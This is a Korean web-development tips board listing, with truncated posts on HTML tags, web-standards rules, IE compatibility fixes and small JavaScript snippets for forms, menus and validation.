[HTML]  다음 도로명주소 오픈API - 연계방법 및 예제소스(스크립트기반, 회원가입x, API키x) 회원가입이나 API키 생성이 필요 없으며 자동완성 기능도 있어서 좋은것 같습니다.주소 표기방식은 정규식을 이용하여 사용하면 되고 다만 한가지 아쉬운게 있다면.도로명주소와 지번주소의 탭을 감추거나 할 수 없다는점이지만 충분히 스크립트에서 아래처럼 보완 사용 가능하니 사용에는 큰 무리가 없습니다.또한 HTTPS버전도 지원하니 환경에 맞게 사용하거나 환경에 따라 스크립트 src주소값을 다르게 인클루드 할 수 있도록하면 더욱 호환성이 좋겠습니다. HTTP버전<script type="text/javascript" src=...
[HTML]  네이버 스마트에디터 IE9에서 작동 안될때 스마트 에디터 js파일중 Husky.SE_Basic.js 파일을 오픈 후에 186번줄의 구문을if(navigator.appVersion.indexOf("MSIE 9") >-1){button=document.createElement("BUTTON");button.type="button";}else if(this.bIE){button=document.createElement("<BUTTON type='button'>");}else{button=document.createElement("BUTTON");button....
[HTML]  youtube iframe 영상 z-index <iframe src='http://www.youtube.com/embed/Y5FxoSPXkJU?feature=player_detailpage&wmode=opaque'></iframe>iframe위에 링크를 겹쳐 걸거나 기타 제어시 z-index 가 먹지히 않을경우 파라미터에 wmode=opaque 값을 추가 후에 제어 합니다
[HTML]  웹디자이너의 분류와 역할 10년정도이 역사를 가진 웹디자인은 초기 그래픽 디자인 위주의 작업에서, 급격한 기술 변화만큼이나 다양한 분야로 세분화 되었다. 이러한 세분화는 앞으로도 계속될것으로 보인다.그럼 현재까지 웹디자이너는 어떻게 세분화 되었으며, 역할별로 어떠한 일을 담당하는지 알아보자.    크리에이티브 아트디렉터(creative Art Director) 크리에이디브 아트디렉터는 디자인 크리에이티브를 총괄하는 책임자로서 웹디자이너, 카피라이터(Copywriter), 일러스트레이터(illustrator), 포토그래퍼(Photogr...
[HTML]  HTTP 1.1 status codes - HTTP 상태 코드 100 : Continue 101 : Switching protocols 200 : OK, 에러없이 전송 성공 201 : Created, POST 명령 실행 및 성공 202 : Accepted, 서버가 클라이언트 명령을 받음 203 : Non-authoritati...
[HTML]  여러가지 이쁜 글자 색상표 모음 000000 black 블랙■ 2f4f4f darkslategray 다크슬레이트그레이■ 708090 slategray 슬레이트그레이 ■ 778899 lightslategray 라이트슬레이트그레이■ 696969 dimgray 딤그레이■ 808080 gray 그레이■ a9a9a9 darkgray 다크그레이■ c0c0c0 silver 실버■ d3d3d3 lightgrey 라이트그레이■ dcdcdc gainsboro 게인스보로■ ffffff white 화이트■ fff5ee seashell 씨쉘■ fffafa snow 스노우■ f8f8...
[HTML]  한글로 된 색상표 2f4f4f darkslategray 어두운푸른빛회색708090 slategray 푸른빛회색778899 lightslategray 밝은푸른빛회색696969 dimgray 칙칙한회색808080 gray 회색a9a9a9 darkgray 어두운회색c0c0c0 silver 은색d3d3d3 lightgrey 밝은회색dcdcdc gainsboroffffff white 백색fff5ee seashell 바다조가비fffafa snow 설백f8f8ff ghostwhite 허깨비백색fffaf0 floralwhite 꽃의백색f5f5f5 whites...
[HTML]  HTML에서 m2 제곱미터 표현 태그, 평방미터 쓰기 Tag m<sup>2</sup>m2브라우저에는 이렇게 나오고좀더 크게 확대해 보면m2
[HTML]  배송추적 URL 모음   우체국택배 http://service.epost.go.kr/trace.RetrieveRegiPrclDeliv.postal?sid1=송장번호   훼미리택배 http://www.e-family.co.kr/member/delivery_search_view.jsp?item_no=송장번호   로젠택배 http://d2d.ilogen.com/trace.logen?gubun=info&invoiceNum=송장번호   삼성HTH http://cjhth.com/homepage/searchTraceG...
[HTML]  투명 png 파일 익스플로어6 에서 투명 부분이 회색으로 보일 때 스타일<style type="text/css"> .png24 {   tmp:expression(setPng24(this)); }</style> 스크립트<script type="text/javascript"> function setPng24(obj) {   obj.width=obj.height=1;   obj.className=obj.className.replace(/bpng24b/i,'');   obj.style.filter = "progid:DXImag...
[HTML]  플래시 해상도 고정에 대한 액션 스크립트 Stage.scaleMode = "noScale"; ---- 크기에 맞쳐고정 Stage.align = "LT"; ---- 사이즈 -- 왼쪽 Stage.addListener(myResizeHandler); --- 리사이즈 헨들러 해결) 항상 오브젝트 비율100%를 유지하기 Stage.scaleMode = "noScale"; 아래 스크립트는 플래시무비를 정열하는 스크립트입니다. "LT"는 left와 top을 의미하며, 원하는데로 값을 줄수 있습니다. Stage.align = "LT";
[HTML]  embed 속성지정 [embed의 속성 지정] embed태그의 사용법은 autostart=true/false true의 경우는 로딩되자마자 자동실행되고 false의 경우는 그 반대입니다. hidden="true/false" 음악조절판이 true인 경우 보이지 않고 false인 경우에는 보이게 됩니다. loop="수치/infinite" 수치만큼 반복횟수를 나타내주며 infinite일 때에는 무한반복입니다. volume="수치%" 말 그대로 볼륨을 조절해 줍니다. 퍼센트수치를 적으시면 됩니다.
[HTML]  음악태그의 종류 [사운드 태그의 종류] 주로 홈페이지의 배경음악을 넣는데 사용합니다. mid파일을 주로 사용하고요... mp3파일이나 wav 파일, asf 파일도 되기는 되는데... bgsound태그는 일단 음악파일을 모두 다운을 받은 다음에 재생 을 시키기 때문에 mid 파일보다는 시간이 오래 걸린답니다... 이 embed 태그는 배경음악 넣을때 사용하기도 하지만 그 것 보다는직접 음악을 재생시키는데 더 많이 사용됩니다. embed의 특징은 bgsound 태그와는 달리 다운로드와 동시에 실시간으로 음악을...
[HTML]  음악태그 기본형식 [ 사운드 태그의 기본] 사운드(sound)태그란 말 그대로 음악이나 소리가 나오게하는 태그를 말합니다. 아무소리도 나지 않는 맹맹한 웹페이지 보다는 듣기좋은 음악이 들어간 웹페이지가 더욱 방문하시는 분들의 기억 속에 남을 겁니다... 사운드태그는 재생시킬 사운드가 무엇인지..브라우저를 어떤걸 사용하는지에 따라 뉘어 집니다... 그럼 사운드파일의 종류에 대해서 먼저 설명드릴께요... 최소한 내 자신이 듣고 있는 음악이 어떤 종류의 파일인지를 알아야 나중에 사운드태그를 사용하실 때 실수 안하시고 편하게 사용하실 수...
[웹표준]  웹표준으로 퍼블리싱할때 꼭 지켜야 할 사항들 1. 속성값은 반드시 "표로 시작해서 "표로 끝냄(속성값은 ' 보다는 " 를 지향) 2. URL에 사용되는 '&'는 모두 '&amp;'를 사용, URL에 한글이 들어있는 경우 유니코드로 표기 3. <img> 태그는 반드시 마지막에 "/"을 사용, <img> 태그는 반드시 alt="설명"을 사용해야하며 아이콘은 alt=""로 처리4. <br> 태그 또한 마지막에 /을 사용 <br /> 5. <a rel="tag">는 해당포스트의 태그에만 사용한다.(태그리스트 랜...
[웹표준]  최근목록 출력시 more(전체보기) 링크시 유의점 설명게시판의 최근 목록 몇 개만을 뽑아 첫 페이지에 보여주는 형태로 웹사이트에서 자주 쓰입니다.주의점보통 [more]를 이미지 혹은 링크로 할경우 alt="more" 이외에 별도의 링크 title 표기가 있어야 한다.사용예<a href="/view/notice.php" title="공지사항 목록"> <img src="images/NotcieMoreBtn.gif" alt="more" /></a>
[웹표준]  IE 7 표준 모드로 렌더링할 수 있는 메타태그 DTD가 없는 페이지는 여전히 Quirks Mode로, DTD가 있는 페이지는 IE 7 표준 모드로 렌더링할 수 있는 메타태그입니다.<META http-equiv="X-UA-Compatible" content="IE=7" /><META http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
[웹표준]  XHTML1.1 에서 일반적으로 범하기 쉬운 오류 틀림: <br> 옳음: <br /> 틀림: <p>This is a paragraph.<p>This is another paragraph. 옳음: <p>This is a paragraph.</p><p>This is another paragraph.</p> 틀림: <em><strong>This is some text.</em></strong> 옳음: <em><strong>This i...
[웹표준]  strict 유효성 검사에서 form name='name1' name속성 걸리는 문제 XHTML 1.0 Strict, 1.1에서는 a, map, form 요소에서의 name 속성 사용이 허락되지 않습니다. 때문에 DOM 식별자로는 id로 사용이 가능합니다.기존formname.inputname.value사용document.getElementById("formname").getAttribute("inputname").vaule;
[웹표준]  a 태그의 사용성과 접근성. a 태그의 개요 a 태그의 어원에 해당하는 말은 anchor 입니다. 즉, 우리말로 직역하면 ‘닻’ 이라는 뜻이고 의역하면 ‘연결’ 이라는 의미가 됩니다. 그리고 a 태그는 href 라는 필수 속성을 갖는데 이것의 어원은 Hyper text REFerence 입니다. 즉, 무언가를 참조하라는 뜻이고 a 태그는 결국 다른 어떤 자원을 ‘참조’ 하라는 연결의 의미를 갖습니다. Web 이라는 거미줄을 짓는데 있어서 가장 중요한 태그입니다. 우연의 일치인지는 모르겠지만 어쨌든 W3C의 HTML 요소 색인 페이지를 보아도 a 태그는 H...
[웹표준]  HTML 코더, UI 개발자, 웹 퍼블리셔, 웹 개발자 웹 표준이 대두되면서 (X)HTML, CSS, Javascript-x 등을 담당하는 사람들의 중요도가 상승되고 이들을 업무를 정확하게 지칭하는 용어가 필요하게 되었다. 현재 이러한 롤을 맡은 사람들을 지칭하는 용어는 몇가지가 있었다. HTML 코더 이 말은 아마도 웹 에이전시에서 처음 나온 용어라고 생각된다. 웹 에이전시 초기에는 웹 사이트를 만드는 직군이 웹 개발자와 웹 디자이너로 양분되어 있었다. 웹 디자이너가 웹 사이트를 디자인하고 HTML 코드로 구현을 하면 HTML 코드에 웹 개발자가 프로그램 로직을 추가하여 하나의 ...
[웹표준]  DTD가 혼재되어 있는 웹 사이트 대응법 DTD가 혼재 되어 있는 웹 사이트는 DTD가 없는 페이지와 DTD가 있는 페이지를 구분하여 각각 다른 방법으로 대응해야 합니다. DTD가 없는 페이지는 아무런 대응을 하지 않습니다. IE8은 DTD가 없는 페이지를 Quirks Mode로 렌더링 하기 때문에 페이지는 깨지지 않습니다. DTD가 있는 페이지는 IE7에 최적화 시킨 후 다음 코드를 적용 합니다. < meta http-equiv="X-UA-Compatible" content="IE=7" /> 만약, X-UA-Compatable 호환 코드를 DTD가 있는...
[웹표준]  의미에 맞는 태그로 마크업 합니다 . 태그의 적합한 의미와 용도는 Index of the HTML 4 Elements Eng또는 HTML 4 요소 색인 Kor문서를 참조 합니다.   제목, 머리글, 조건등에 해당하는 내용은 Heading( head , title , h1~h6 , dt , caption , thead , th , legend ) 요소를 적절히 사용하고,   특히 h1~h6 요소는 그 순서를 건너뛰지 않도록 합니다. 의미와는 무관한 레이아웃 목적의 Table 은 사용하지 않습니다. 단, CSS만으로 구현이 불가능한 레이아웃의 경우...
[웹표준]  Cross Browser html 에디터 만들때 주의할 점과 예시 1 1. IE 나 FF 모두 가능한 designMode on 설정 방법은 다음과 같다.  var cw = document.getElementById("에디터iframe 아이디").contentWindow;  cw.document.designMode = "on";   여러방법이 있지만 위 방법이 IE 나 FF 의 cross browsing 은 잘된다.     2. 파이어폭스에서도 designMode에 대해 지원한다. 그런데 FF 에서 이것은 ...
[웹표준]  IE8을 IE7으로 강제 호환모드 적용. 아무래도 IE8 에서 더 높은 수준의 CSS 를 지원하다 보니 IE7 의 기준으로 되어 있는 사이트들을 한번에 바꾸기도 어렵고 여러가지 문제가 발생한다. 새로운 브라우져를 발표하는 Microsoft 도 그런 입장으로 고려하여 호환성 모드를 제공하는데 문제는 아래 그림에 보이는 부분을 클릭하기 전까지는 동작하지 않는다는 점이다. 클릭한번 더 하는게 얼마나 불편한지를 따지자는 건 아니지만, 클릭 수를 줄인 것을 최대 장점으로 삼고 있는 IE8 에는 치명적인 약점일 수 있단 생각이 들었다. 그런데 왠걸 그런 사항까지 고려해 두고 ...
[웹표준]  ie6에서 발생하는 문제에 대한 10가지 해결 방법 1. DOCTYPE을 사용 - hasLayout문제 즉 박스값의 너비 문제를 그나마 쉽게 해결 가능(?) 하다.- DOCTYPE이 없을 경우 브라우져별로 렌더링 하는 기준이 달라지는 것을 해결 할 수 있다.- 렌더링 기준을 같게 하면 핵의 사용을 줄일 수 있다.2. position:relative : 비선형화적인 박스들의 정렬이나 컨텐츠등의 내용들이 보이지 않는 문제들을 해결해 준다.3. float된 엘레멘트들에 왼쪽margin값을 사용할 경우 display:inline을 사용하라- 왼쪽으로 float속성과 margin값을 주...
[웹표준]  XHTML 일반 문법 준수 정확한 문서 구조 준수 문서의 루트 요소는 html이 되어야 하며, 이 html 요소는 XHTML 네임스페이스를 지정 해야 한다. 표준 문서에는 head, title 및 body 구조 요소가 포함되어야 한다. 프레임 세트 문서에는 head, title 및 frameset 구조 요소가 포함되어야 한다 모든 요소는 완벽하게 중첩되어야 한다. 모든 요소들이 완벽하게 내포(nest) 되어야 하는 것은 필수적이다. 중첩(overlapping)이 부적합(illegal)한 것임에도 불구하고 기존 웹 브라우저들에서 널리 관대하게 사용되었다...
[웹표준]  웹 표준 비교 그냥 표현한 것 1. 서론 1. 개념 정의 2. 필요성 2. 본론 2.1 보편적 디자인 원칙 2.2 접근성 원칙 3. 맺음말 =============================================================================================== 실전 웹 표준 가이드 - 26 - * { line-height: 138%;} ol<li { font-size: 1.2em; color: darkred; font-weight: bold...
[JAVASCRIPT]  구글맵 삽입 스크립트(기본 풍선말 고정 표시) - google map insert javascript(InfoWindow fixed) <script type="text/javascript" src="https://maps.googleapis.com/maps/api/js?sensor=false&language=ko"></script><div id="map_view" style="width:743px; height:402px; margin-top:45px; border:1px solid #ccc;"></div><script type="text/javascript">window.onload = funct...
[JAVASCRIPT]  javascript ime-mode제어[기본 영문 입력되도록] <input type="text" name="userid" id="userid" value="" title="아이디" /><script type="text/javascript">window.onload = function(){  document.getElementById("userid").setAttribute("imeMode","disabled"); }</script>
[JAVASCRIPT]  fckeditor의 IE11 크로스브라우징 해결방법 fckeditor가 IE11에서는 출력이 되지 안거나 문자표나 혹은 이미지 업로드시 완료시 에디터로 출력이 되지 않은 경우가 있습니다.fckeditor는 IE인 익스프로러를 구분하기위해 스크립트로 navigator.userAgent로 브라우저 정보를 읽어가는데여기서 문제가 생기는 것입니다.IE9 이하의 버전에서는 버전정보에 MISE라는 문자가 존재하지만 IE11에서는 존재 하지않아 인식이 되지 않습니다.때문에 IE11은 Trident 라는 키워드를 인식하여 체크해야 합니다.  버전 마다 조금씩 다르긴...
[JAVASCRIPT]  class name length - 클래스명 갯수 가져오기 document.getElementsByClassName("RealClassName").length;     // IE8 이하의 버전호환 처리document.getElementsByClassName = function(cl) {  var retnode = [];  var elem = this.getElementsByTagName('*');  for (var i = 0; i < elem.length; i++) {    if((' ' + elem[i].c...
[JAVASCRIPT]  날짜에 맞춰 스크립트 실행하기 <script type="text/javascript"> //<![CDATA[ var today = new Date(); var Year = today.getFullYear(); var Month = ( today.getMonth() < 10) ? "0"+today.getMonth() : today.getMonth(); var Day =( today.getDate()+1 < 10) ? "0"+(today.getDate()+1) : today.getDate(...
[JAVASCRIPT]  자바스크립트를 이용한 W3C 제한 받지않고 아이프레임 투명사용하기 document.ElementById("test").setAttribute("allowTransparency","true");
[JAVASCRIPT]  이메일 주소형식 체크 스크립트소스 function email_check( str ) {   if(str == ""){   alert("이메일 주소를 입력하세요.");   return 0;   }    var retVal = checkSpace( str );   if( retVal != "") {    alert("이메일 주소를 빈공간 없이 넣으세요."); &nbs...
[JAVASCRIPT]  공백체크 스크립트 function isEmpty( str ) {   for ( var i = 0 ; i < str.length ; i++ )    {      if ( str.substring( i, i+1 ) == " " )         return true;   }   return false;}
[JAVASCRIPT]  Element Opacity Control for Cross Browser 아래 자바스크립트로 HTML Element의 투명도(Opacity)를 조절하는 경우 크로스 브라우저(Cross Browser)를 지원.function setOpacity(id, opacity) {            var object = id.style;            object.opacity = (opacity /...
[JAVASCRIPT]  IE7에서 주소창 안보이게 하는 자바스크립트 <script type="text/javascript">  function checkPopupPage(){ if( opener != null ){  }else{  var surl = "pop.html";  var sname = "index";   var popupOptions = "left=0, top=0, width=1024,height=768,toolbar=no,status=no,scrollbars=yes,resizable=no,menubar=no"; &nb...
[JAVASCRIPT]  웹 접근성을 생각하는 자바스크립트 요즘의 웹 사이트들은 점점 Ajax 의 사용추세가 늘어나고 있습니다.하지만 사실 Ajax 에는 치명적인 단점이 있습니다.바로 웹 접근성이죠.Ajax 가 처음 등장했을 때 문제로 제기된 큰 문제가 몇가지가 있었는데..그 중 하나는 뒤로 가기 버튼이었고, 다른 하나가 이 접근성에 해당하는 문제였습니다.물론 모든 Ajax가 웹 접근성을 해치는 것은 아닙니다.Ajax 를 사용하더라도 접근성을 해치지 않는 방법들이 여럿 고안되었으니까요.하지만 국내에서 사용되고 있는 Ajax 의 대부분은 Javascript(또는 기타 클라이언트 스크립트...
[JAVASCRIPT]  자주 쓰는 태그와 지원되는 이벤트 <a>      onBlur, onClick, onDblClick, onFocus, onKeyDown,           onKeyPress, onKeyUp, onMouseover, onMouseOut   <area>    onBlur, onClick, onDblClick, onFocus, onKeyDown,&n...
[JAVASCRIPT]  Script 구문이 XML parser에서 읽혀졌을 때 발생하는 문제 우리가 사용하는 JavaScript, VBscript 등의 script언어 들에서는 '<', '>' 등의 연산기호의 사용이 불가피 합니다.그리고 HTML parser는 <script> tag 속의 text content들에 대해서는 CDATA(parser가 parsing 하지 않는 Character DATA)로 취급 합니다. 그 이유는 W3C HTML spec에 script element의 text content 들을 CDATA로 처리 하도록 정의(W3C HTML 4.01 spec의 Script eleme...
[JAVASCRIPT]  이메일 양식 체크 function isemail(element, names) {  if((element.value).indexOf("@") < 0 || (element.value).indexOf(".") < 0){   alert(names+" 형식이 틀립니다.");   element.focus();   return false;  }  return true; }
[JAVASCRIPT]  자바스크립트 이벤트 핸들러 (Event Handler) 자바스크립트 이벤트 핸들러 (Event Handler)onabort 이미지의 다운로드를 중지할 때 (브라우저의 중지버튼) onactivate 개체가 활성화될 때 발생 (태그의 기능이 작용할 때 발생하는 이벤트로 예를 들어 링크를 누를 경우 링크가 옮겨질때 발생하는 것을 감지하는 이벤트 핸들러) onafterprint 문서가 출력되거나 혹은 출력하기 위해 출력미리보기를 한 후에 발생 onafterupdate 데이터영역 개체에서 발생하는 이벤트로 데이터 소스 오브젝트내의 데이터가  업데이트 되었을 때 발생(데이터...
[JAVASCRIPT]  select 박스 선택할수 있는 또다른 방법 기존에 셀렉트박스 선택을 하기위해선 PHP for 문이나 while 문혹은 if 문으로 일일이 비교해서 맞으면 selected 로 했으나!!!이건 너무 번거로운 방법이다.스크립트와 php 한줄로 해결할수 있다.wr_form.email_sct.value = "선택값";이런형식으로 값을 넘기게되면 해당 값을 선택하게 되고없을겨우는 PHP코딩으로 공백을 넘기면되고 공백값을 하나 주면 끝!!
[JAVASCRIPT]  input box display block 시 줄바꿈 되어버리는 현상 function em_chk(val){ var target = document.getElementById("em_addr"); if(val == ""){  target.style.display = "blcok"; }else{  target.style.display = "none"; }}위 코드로 했을경우 셀렉트박스 바로 오른쪽에 있을겨우 줄바꿈이 되어버리는 현상이 생긴다.block 시킬때 블록 형식으로 줄바꿈이 되어버리므로inline 로 해결할수 있다.&n...
[JAVASCRIPT]  팝업 차단 여부 확인 스크립트 <script type="text/javascript">            var objPopup = window.open("http://www.virhac.com/", "", "width=100,height=100");              if (objPopup == null) {               alert("차단된 팝업창을...
[JAVASCRIPT]  DIV태그에서 상하정렬 스크립트 <script type="text/javascript">    function vAlign() {     objs = document.getElementsByTagName('DIV');     for (var i = 0 ; i < objs.length ; i++ )     { &nb...
[JAVASCRIPT]  퀵메뉴 슬라이드 스크립트  <div id="quicklink">virhac.com</div><script type="text/javascript"><!-- //퀵초기 function scrollTop() {  var scrollTop = document.scrollTop ? document.scrollTop : document.documentElement.scrollTop ? document.documentElement.scrollTop : document.bo...
[JAVASCRIPT]  이벤트 핸들러 (Event Handler) 모음 onabort이미지의 다운로드를 중지할 때 (브라우저의 중지버튼)onactivate개체가 활성활 될 때 발생(태그의 기능이 작용할 때 발생하는 이벤트로 예를 들어 링크를 누를 경우 링크가 옮겨질때 발생하는 것을 감지하는 이벤트 핸들러)onafterprint문서가 출력되거나 혹은 출력하기 위해 출력미리보기를 한후에 발생onafterupdate데이터영역 개체에서 발생하는 이벤트로 데이터 소스 오브젝트내의 데이터가  업데이트 되었을 때 발생(데이터 개체부분 참조)onbeforeactivate개체가 활성화 상태로 되...
[JAVASCRIPT]  전화번호 입력시 자동 하이픈 넣기 <script type="text/javascript"> function OnCheckPhone(oTa) { var oForm = oTa.form ; var sMsg = oTa.value ; var onlynum = "" ; onlynum = RemoveDash2(sMsg); if(event.keyCode != 8 ) { if (GetMsgLen(onlynum) <= 2) oTa.value = onlynum ; if (GetMsgLen(onlynum) == 3) oTa.value = onlynum + "-"; ...
[JAVASCRIPT]  IE6~7, FF, OP,SA 호환 퀵메뉴 페이지에 삽입해야할 리스트 메뉴혹은 적용 하고자 하는곳에 ID 값만 주시면됩니다.<ul id="STATICMENU"> <li><img src="/page/img/sb_quick_title.gif"></li> <li><a href="/page/?14"><img src="/page/img/sb_quick_btn_01.gif"></a></li> <li><a href="/page/?14">&...
[JAVASCRIPT]  getElementsByTagName 사용예 <body> <script> function my(){  if(document.getElementsByTagName){   var div = document.getElementsByTagName('div').item(0).style;   div.width=100;   div.height=100;   div.backgroundColor="aqua"; &nbs...
[JAVASCRIPT]  구조와 행동의 분리 우리가 모든 CSS 들을 별도의 파일에 놓고 스타일 속성이나 기타 다른 표현적 마크업들을 삼가함으로써 구조와 표현을 분리하는 것과 마찬가지로, HTML 구조와 자바스크립트 행동들을 분리해야 한다. 이유는 동일하다: 당신의 관심영역을 분리하고, 당신의 코드를 깔끔하게 해주며, HTML 이나 CSS에 손 댈 필요 없이 자바스크립트 작업을 할 수 있게 해준다. 기본적인 규칙은 간단하다: HTML 파일은 자바스크립트 코드를 포함하면 안된다 - CSS를 포함하지 않아야 하는 것과 마찬가지로 말이다. 자바스크립트 개발자들이 HTML 파...
[JAVASCRIPT]  마우스 움직임을 캡쳐하는 방법 자바스크립트 프로그래밍에 있어서 마우스 움직임(mouse move)을 캡쳐하는 것은 흔한 일이다. 그렇기 때문에 각 브라우저별로 마우스 움직임 이벤트를 어떻게 잡아내는지 잘 알아둘 필요가 있다. 인터넷 익스플로러 4 이상을 사용하고 있다면 다음과 같은 방식을 이용한다. document.onmousemove = fnMouseMove; 물론 fnMouseMove란 함수를 다음과 같이 미리 정의해 놓아야 한다. function fnMouseMove() {    // mouse mo...
[JAVASCRIPT]  obj.innerHTML 알 수 없는 런타임 오류입니다.   InnerHTML 과 TABLE 쓰기IE의 경우 obj.innerHTML = "<TABLE><TR><TD>테스트</TD></TR></TABLE>";이렇게 테이블을 써 넣을 수 없다. 저렇게 사용한다면 저 부분에서 "알 수 없는 런타임 오류입니다." 라는 에러 메세지가 나온다.innerHTML에서 테이블은 읽기 전용이라고 한다. 테스트를 해본 경과 IE에서 만 쓰기가 제한 되었다.모질라, 크롬, 사파리에서는 테이블 쓰...
[JAVASCRIPT]  사용자의 운영체제 OS 판별 <script language='JavaScript'>// OS 별 정보 입력 목록 부분win95="<center><B>Windows 95입니다</center>";win98="<center><B>Windows 98입니다 </center>";winXP="<center><B>Windows XP입니다</center>";win2000="<center><B>Windows 2000입니다</center>...
[JAVASCRIPT]  div z-index 바꾸기 스크립트 function z_index(num){ var tg_01 = document.getElementById("div_01"); var tg_02 = document.getElementById("div_02"); if(tg_01 && tg_02){  if(num == 1){   tg_01.style.zIndex = "100";   tg_02.style.zIndex = "10";  }else{ ...
[JAVASCRIPT]  이메일이 올바른지 체크 스크립트 function emailCheck (emailStr) {  // Email check 함수  var emailPat=/^(.+)@(.+)$/  var specialChars="\(\)<>@,;:\\\"\.\[\]"  var validChars="[^\s" + specialChars + "]"  var firstChars=validChars  var quotedUser="("[^"]*")"  var ipDomainPat=/^[...
[JAVASCRIPT]  중간 정렬 레이어 위치 잡기 <table width="1000" border="0" cellspacing="0" cellpadding="0" align="center" id="standard_tb"><tr><td></td></tr></table> <script language="JavaScript" type="text/JavaScript"> <!-- //테이블 위치 구하기 function getRealOffsetTop() {  standard_table=documen...
[JAVASCRIPT]  escape(), unescape() - 문자 암호화 <script language="javascript">  var temp1, temp2;  //문자열을 인코딩 temp1=escape("12345-ABCDE-abcde-가나다-!?#$%");  //인코딩된 문자열을 다시 디코딩 temp2=unescape(temp1);  document.write(temp1 + "<br>"); document.write(temp2);  </script>
[JAVASCRIPT]  바이트수 체크하기 if(byteCheck(empl_num) > 10){      alert("사원번호는 공백포함 영어/숫자 10자이하 한글 5자이하만 입력가능합니다");      frm.empl_num.focus();      return; }     function byteCheck(code){ //바이트수에 따른 입력   var code_byte = 0;&n...
[JAVASCRIPT]  체크박스 전체체크 및 전체해제 하기 // 체크박스 한번에 전체 선택 하기function all_check(){    var frm  = document.list_frm;     var list = frm.elements['list[]'];  for(i=0;i<list.length;i++){    if(list[i].checked == false){list[i].checked = true;} }} // 체크박스 한번에 전체 해제 하기f...
[JAVASCRIPT]  사업자등록번호 유효성 체크 스크립트 function check_BizRegNo(bizID) {         var checkID = new Array(1, 3, 7, 1, 3, 7, 1, 3, 5, 1);         var i, Sum=0, c2, remander;           bizID = bizID.replace(/-/gi,'');   &nbs...
[JAVASCRIPT]  그림위에서만 오른쪽 마우스를 쓰지 못하게 하기 index.php 부분에 shop.js 파일을 불러오도록 되어있으니 shop.js 파일 내용 아래에============var clickmessage="그림에는 마우스 오른쪽 버튼이 금지되었어요" function disableclick(e) {  if (document.all) {   if (event.button==2||event.button==3) {   if (event.srcElement.tagName=="IMG"){     alert(clickmessage);   ...
[JAVASCRIPT]  레이어 팝업창 /* 스타일 */.SLB_center { cursor:pointer; visibility:hidden; background-color: #FFF}.SLB_close { cursor: pointer; display:none; font-family: verdana,tahoma; font-size: 9pt; background-color:#000000; color: #ffffff; padding-bottom: 4px; }.SLB_caption { cursor: pointer; display:none; font-family: verd...
[JAVASCRIPT]  스크롤 메뉴 <script>  function initMoving(target, position, topLimit, btmLimit) {   if (!target)    return false;    var obj = target;   obj.initTop = position;   obj.topLimit = topLimit;   obj.bottomLimit = document.documentElement.scr...
[JAVASCRIPT]  플래시 출력 스크립트 function makeFlashObj(_swfURL_,_flashID_,_width_,_height_,_wmode_,_flashVars_,_bgColor_,_allowFullScreen_,_menu_){ _wmode_ = (_wmode_ == undefined)? "transparent" : _wmode_;  // wmode = "window/ opaque/ transparent" _bgColor_ = (_bgColor_ == undefined)? "#FFFFFF" : _bgColor_;&...
[JAVASCRIPT]  브라우저 너비 구해오기 <*function _getClientWidth() {  var ret;  if (self.innerHeight) {   // IE 외 모든 브라우저   ret = self.innerWidth;  } else if (document.documentElement && document.documentElement.clientHeight) {   // Explorer 6 Stric...
[JAVASCRIPT]  링크테두리없애주는 스크립트 <*function bluring(){    if(event.srcElement.tagName=="A"||event.srcElement.tagName=="IMG") {        document.body.focus();    }}document.onfocusin=bluring;*>
[JAVASCRIPT]  스크립트로 배경 바꾸기 <*var change_div=document.getElementById("div_0"+value);change.style.backgroundImage = "url(경로)";change.style.backgroundAttachment = "no-repeat";property가 나올때는 change.style.background = "url(경로) no-repeat";*>
[JAVASCRIPT]  input 에 숫자만 입력받기 1. 먼저 숫자만 입력받을 컨트롤을 다음과 같이 설정한다.<input type="text" name="card_no1" OnKeypress="onlyNumber();">키를 누를때마다 다음과 onlyNumber() 라는 함수를 실행한다.2. 이제 함수를 정의한다.function onlyNumber(){if ((event.keyCode<48)||(event.keyCode>57))event.returnValue = false;}이벤트 객체의 keyCode 속성을 이용하여 해당 키 코드값일때만 입력되게 한다근데...
[JAVASCRIPT]  마우스 가져가면 나타나는 테두리 각각 다른 색으로 지정할 수 있습니다. .line{border:1px solid white;} //테두리의 두께, 종류, 색(초기 색상)을 적습니다. function borderit(which,color){ if (document.all||document.getElementById){ which.style.borderColor=color } } [이 게시물은 VIRHAC님에 의해 2009-09-13 14:41:58 HTML에서 이동 됨]
[JAVASCRIPT]  스포트라이트 빛을 한 곳에 집중 시키는 것을 스포트라이트라고 합니다. <style> <!-- #spotlight{ filter:light } --> </style> <img id="spotlight" speed="60" src="이미지"> <!--속도와 이미지경로-->   <script language="JavaScript1.2"> if (document.all&&window.spotlight){ var x=new Array() var dire...
[JAVASCRIPT]  여려겹으로 따라다니는 이미지 위의 소스를 그대로 사용하면, 마우스를 문서의 가장 오른쪽이나 가장 아래쪽으로 가져갔을 때 자동으로 스크롤바 생깁니다. 스크롤바가 없어도 되는 곳에서는 보기 싫겠죠? 이럴 땐 스크롤바를 없애는 소스를 사용해서 없애보세요. style="overflow-x:hidden;overflow-y:scroll" body의 안에 넣으면 됩니다. overflow-x : 가로 스크롤바 overflow-y : 세로 스크롤바 hidden : 감추기 scroll : 보이기 [이 게시물은 VIRHAC님에 의해 2009-09-13 14...
[JAVASCRIPT]  날짜 계산 자바스크립트 소스를 수정해서 며칠이 남았는지 계산해도 좋을 것 같네요. today = new Date() xday = new Date("December 19, 2000") //이부분의 날짜를 수정하세요. xday.setYear = today.getYear; daysAfter = (today.getTime() - xday.getTime()) / (1000*60*60*24); daysAfter = Math.round(daysAfter); document.write("2000년 12월 19일이후 "+daysAf...
[JAVASCRIPT]  아이프레임 자동 크기 조절 //Input the IDs of the IFRAMES you wish to dynamically resize to match its content height: //Separate each ID with a comma. Examples: ["myframe1", "myframe2"] or ["myframe"] or [] for none: var iframeids=["myframe"] //Should script hide iframe from browsers that don't support this script (non IE...
[JAVASCRIPT]  글씨에 대한 설명을 트랜지션 툴팁 툴팁의 높이를 나모로 수정하면 높이가 더 높아지니까 왠만하면 나모로 수정하지 마세요. 글 내용 font-size : 글자크기 font-family : 글꼴 color : 글자색 border : 툴팁 테두리의 두께, 색깔, 종류 background : 배경색 padding : 내부 여백 width : 너비 height : 높이 left : 왼쪽 위치 top : 위쪽 위치 duration : 트랜지션 속도 [이 게시물은 VIRHAC님에 의해 2009-09-13 14:40:14 HTML에서 이동 됨]
